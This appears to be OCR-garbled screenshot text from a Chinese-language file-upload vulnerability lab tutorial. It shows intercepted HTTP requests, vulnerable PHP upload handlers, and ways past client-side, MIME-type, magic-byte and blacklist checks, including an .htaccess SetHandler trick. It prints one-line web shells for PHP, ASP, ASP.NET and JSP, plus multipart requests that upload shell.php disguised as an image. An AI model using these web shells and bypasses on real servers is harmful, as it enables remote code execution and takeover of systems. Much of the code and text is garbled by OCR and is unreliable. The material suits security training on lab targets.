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POST /changeMail. php HTTP/1.1

Host: 10.10.17.36:32945

Content-Length: 80

Cache—Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.10.17.36:32945

Content—-Type: application/x-www—form—urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(EHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/we
bp, image/apng, */#*;q=0. 8, application/signed—exchange;v=h3:q=0. 7

Referer: http://10.10.17.36:32945/changeMail. php

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN, zh;q=0.9

Cookie: user progress=6; PHPSESSID=4da086Te9996c3c77fe308a829ff34f1
Connection: close
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POST /changeMail. php HTTP/1.1

Host: 10.10.17.36:32945

Content-Length: 80

Cache—Control: max—age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.10.17.36:32945

Content-Type: application/x—www-form—urlencoded

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebEit/537.36
(EHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

Accept:

text/html, application/xhtml+xml. application/xml ;q=0.9, image/avif, image/we
bp, image/apng, */*;q=0. 8, application/signed—exchange;v=h3;q=0.7

Referer: http://10.10.17.36:32945/changeMail. php

Accept-Encoding: gzip, deflate, br

Accept-Language: zh—CN, zh;q=0.9

Cookie: user progress=6; PHPSESSID=4da086fe9996¢3¢c77fe308a829ff34f1
Connection: close
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if (isset($_POST['submit'])) {

if-(file_exists($UPLOAD ADDR))-{
if- (move uploaded file($ FILES['upload file']['tmp name'], - $UPLOAD ADDR-.-'/'-.-$ FILES['upload file'][‘name']]){

$img_path-=-$UPLOAD_ADDR-.-$_FILES['upload_file']['name’'];
$is_upload-=-true;

}
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}
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B PHP: <?php @eval($ POST[x]); ?>
® ASP: <%eval request("x")%>

B ASP.net: <% @ Page Language="Jscript"%> <%eval

(Request.ltem["x"],"unsafe"); %>

® JSP: <% Process process =

Runtime.getRuntime().exec(request.getParameter("cmd")); %>
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= FRFjavascript¥itT i~ &SR RES

¥ {seript type="text/javascript”> = §0
function checkFile() {
var file = cocnment.getElementsByNamei'nploac_file'J:O:.valne:
if (file == null || file == "") {
alert ("IFIEFRE LA CIFL”)
return false;

FE SCAVF B4R 1) SR

var allow ext = ”. jpgl. pngl|. gif”;
PR AR SRRy Y

var ext_name = file. substring(file. lastIndex0f(”. ")) :
FIT LA S F R R R R B

if Lallom_ext.1“cexOfLext_:amel = -1) {

var errMsg
alert (errMsg) ;
return false;

</script>
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+ ext_

name ;
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Content-DNisposition: form-data:. name="upload_file”; filenamef”shell.php”

-1

—————— WebKitFormBoundaryZ4zDI11z 7VVEcCATx
Content—Disposition: form—data: name="upload file”:| filename="shell. jpg”

3 |Content-Type: application/x—php
Content-Type: image/jpeg 9
7t ) <?php
?ph .
beval (5 POSTL 5 1) 2> 1 Beval($_POST['x’1); 2>
—————— WebKi tFornBoundaryZ4zDT12TVVECCATx 2 ——~~WebKitFormBoundaryxBS4DTbx0u9NXRI
Content-Disposition: form—data; name="submit” 3 Content-Disposition: form—data; name="submit
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e —————

“if dCc_Ficesr upload”flie ][ type'] ==-"image/jpeg') || ($_FILES['upload_file']['type'] == 'image/1ng') |
($_FILES['upload file']['type'] == 'image/gif')) {

i1f- (move_uploaded_file($_FILES['upload_file'][ "tmp_name®'], -$UPLOAD_ADDR-.-'/"'-.-$_FILES['upload_file']['name’])) -{
$img_path-=-$UPLOAD_ADDR-.-$_FILES['upload_file'][ ‘name’'];
$is_upload-=-true;

}
}-else-{
$msg = ' LHREREM, WEF L

}

alga-{
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Cantent-Nisnasition- form_data- 1 e:”up]_oa,difi]_e”; filename
Content-Type: application/x-php aT

<?php

@eval ($_POST['x"1); 2>
****** WebKitFormBoundaryxBS4DTbx0u9NjXRI
Content-Disposition: form-data; name="submit”

—————— WebKitFormBoundaryxBS4DThxQu9N jXRI-—
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<?php

@eval ($_POST['x’1); 2
****** WebKitFormBoundarydJYFqHsNe QkmU3 gx
Content-Disposition: form—data: name="submit”

****** WebKitFormBoundarydJYFqHsNe QkmU3 gx—
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» gif 43k
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" FREBIERIHARSTHORINAFT (STHL) AL
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» function getReailFileType($filename){
$file-=-fopen($filename, - "rb");
$bin-=-fread($file,-2); -// HiE2FT
fclose($file);
$strinfo-=-@unpack("C2chars", -$bin);
$typeCode-=-intval($strInfo['charsl'].¢strInfo["'chars2']);
$fileType-=-"";

- switch($typeCode){

case 255216: 255.216 = Oxff.0xd8

$fileType-=-"jpg";

break;

“sriianpe - g | 137.80 = 0x89.0x50

break;
case-7173:
$fileType-=-"gif"; —
break; ? 71-73 - OX47-OX49
default:
$fileType-=-"unknown';
}
BRI e e =3 e
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$file_name-= tle($ FILES[ upload_file'][ 'name ])
$file_name-=-deldot($file_name);// M L4 & KR A &

$file_ext-=-strrchr($file_name,-'.");
$file_ext-=-str_ireplace('::$DATA', "', -$file ext);//Ji%%%?iTﬂW::$DATA

$flle:ext = strtolower($+11e ext) //?’ﬁﬁJJJ

$file_ext-=-trim($file_ ext) //ﬂifii =

if[lin_array($file_ext, - $deny_ext))}{
1t - (move_uploaded_t1ile($_FILES] 'upload_file']['tmp_name'], -$UPLOAD_ADDR.-"/'-.-$_|
$img_path-=-$UPLOAD_ADDR-."'/".-$_FILES[ 'upload_file']['name'];
$is_upload-=-true;

}
}-else-{

$msg-=-"' o iF L 15.asp, .aspx, .php, .jspfa B L ! ';
}
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<FilesMatch “secjpg” >

SetHandler application/x-httpd-php

</FilesMatch>
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